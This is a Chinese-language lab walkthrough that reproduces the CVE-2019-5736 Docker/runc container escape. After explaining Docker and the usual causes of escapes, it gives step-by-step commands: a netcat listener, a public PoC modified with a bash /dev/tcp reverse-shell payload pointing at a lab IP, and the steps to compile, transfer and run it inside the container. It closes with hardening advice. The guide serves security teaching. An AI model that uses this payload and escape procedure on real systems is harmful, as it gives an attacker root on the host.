CVE-2019-5736 Docker逃逸
Docker是什么?
Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux或Windows操作系统的机器上,也可以实现虚拟化,容器是完全使用沙箱机制,相互之间不会有任何接口
Docker环境和普通生产环境的差异在哪呢?举个列子,在普通的生产环境中,我们程序员写的代码产品在开发环境中能够运行起来,但却在测试环境中很容易出现各种的Bug,报错,这是因为两个环境中机器的配置和环境不一样所导致的
而Docker的出现解决了这一差异性的问题
在举一个列子,平时我们在做开发项目的时候,需要去配置一大堆的环境依赖,而当我们需要将项目迁移到其他主机或者平台的时候,那是不是也要将一大堆的配置环境依赖同样进行迁移,显得相当的麻烦
像平时我们在生产环境中,会去做集群,负载均衡,来让多台服务器共同承担一个责任,分摊访问流量的压力,当我们部署好一台服务器时,你还需要更多一摸一样的服务器,这个时候,你应该怎么办呢?是不是得将环境依赖什么的从头到尾重新安装一遍,是不是会非常麻烦
所以归根结底,突出两个问题,一是环境一致性的问题,二是重复配置,浪费时间的问题,所以Docker的出现解决了这两个问题
你可以把Docker理解成一个镜像,当我们需要在其他服务器上配置相同的项目环境时
我们使用Docker相当于复制了一个环境过去,极大解决了硬件环境所造成的环境差异性的问题和需要重复配置环境的问题
那我们Docker的概念是不是和虚拟机有些相同?那Docker和虚拟机的差异又在哪呢?
虚拟机和Docker的对比:
特性 | 虚拟机 | 容器 |
启动 | 分钟级 | 秒级 |
部署创建速度 | 慢 | 快 |
硬盘使用 | 一般为GB | 一般为MB |
性能 | 弱于原生系统,和监视器交互 | 接近原生系统,和内核交互 |
资源利用率 | 一般几十个 | 单机支持上千各容器 |
隔离性 | 系统级别隔离,更强 | 进程之间的隔离,弱 |
安全性 | 强 | 弱 |
容器技术发展历史:
Docker使用场景:
1、实现快速部署(镜像),例:vulhub.org
2、解决环境一致性的问题,例:部署应用
3、提升服务器的利用率,降低成本,例:安装服务
4、隔离不同的应用
Docker的组成
Docker组成:
核心概念:
- 镜像Image:打包好的应用环境,模板,不能修改,列:Nginx、Tomcat、MySQL、桃宝商城、Ubuntu镜像
- 容器Container:镜像+读写层,有状态:运行、暂停、停止
- 仓库Registry:存放各种镜像,提供上传和下载,官方仓库:https://hub.docker.com
复现环境搭建说明
什么叫Docker逃逸?
Docker容器相当于一个小型的Linux操作系统,有自己磁盘、网络、进程、用户体系,而Docker逃逸就是我们由Docker权限获得到主机root权限的过程,简单来说就是从Docker的权限得到了部署Docker环境的主机的权限
Docker逃逸原因类型
1、由操作系统内核漏洞引起:CVE-2016-5195(脏牛)
2、由Docker本身的漏洞引起:CVE-2019-5736、CVE- 2019-14271
3、由Docker配置和使用不当引起
(1)开启privileged(特权模式)
(2)宿主机目录挂载(文件挂载)
(3)docket remote api未授权访问导致逃逸
参考链接:浅析docker的多种逃逸方法
CVE-2019-5736 环境搭建
漏洞条件:
root运行Docker
Docker Version < 18.09.2
runc版本<=1.0-rc6
现成靶机下载
链接:https://pan.baidu.com/s/19uXXlyAUUJLX4wJcwEAUgw?pwd=8888
靶机密码:123456 两个账户都是
Docker逃逸演示
复现环境
机器名 | IP |
kali | 192.168.142.128 |
centos | 192.168.142.166 |
Kali机器开启监听
nc -lvnp 7777
靶机查看版本
docker -v
docker-runc -v
启动Docker服务(这一步需要输入密码123456)
service docker start
运行一个容器
docker run -it ubuntu:18.04 "/bin/bash"
下载编译利用脚本
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
cd /home/kali/桌面/CVE-2019-5736-PoC-master
编辑POC文件
vim main.go
加入反弹shell的命令
var payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.142.128/7777 0>&1" + shellCmd
修改脚本编译脚本
首先安装go编译环境
yum install epel-release
yum install golang
编译poc
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
kali机器开启HTTP服务
python -m http.server 7987
centos机器下载poc
curl -O http://192.168.142.128/main
如图我们已经成功的向Docker的主机上传了Poc文件
然后由于我们要做的是容器逃逸,所以POC需要运行在容器环境中,所以我们需要将main.go文件拷贝到Docker环境中
查看容器
docker container ls -a
启动容器
docker start 501c
容器拷贝poc
docker cp ./main 501c:/home
进入Docker bash
docker exec -it 501c /bin/sh
cd /home
ls
在容器中执行poc
chmod 777 main
./main
centos以root身份再次进入Docker
docker exec -it 501c /bin/bash
docker容器执行反弹shell命令
kali机器收到监听会话
原理分析
在runc exec加入到容器的命名空间之后(runc运行原理),容器内进程已经能够通过内部/proc(虚拟文件系统)观察到它,此时如果打开/proc/[runc-PID]/exe并写入一些内容,就能够实现将宿主机上的runc二进制程序覆盖。
下一次用户调用runc去执行命令时,实际执行的将是攻击者放置的指令。
总结:篡改了系统的runc文件,在其中加入恶意代码,在下一次run exec的时候导致恶意代码执行
Docker安全加固
Docker安全检测
自动化利用工具:https://github.com/cdk-team/CDK
这个工具可以检测Docker容器和K8S集群的一些漏洞
Docker加固建议
1、升级Docker到最新版
2、升级Linux内核
3、不建议以root权限运行Docker服务
4、不建议以privileged(特权模式)启动Docker
5、不建议将宿主机目录挂载至容器目录
6、不建议将容器以–cap-add=SYSADMIN启动,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,存在容器逃逸风险
参考资料:https://mp.weixin.qq.com/s/R5DV0X3QpYmaxVxIexRYgA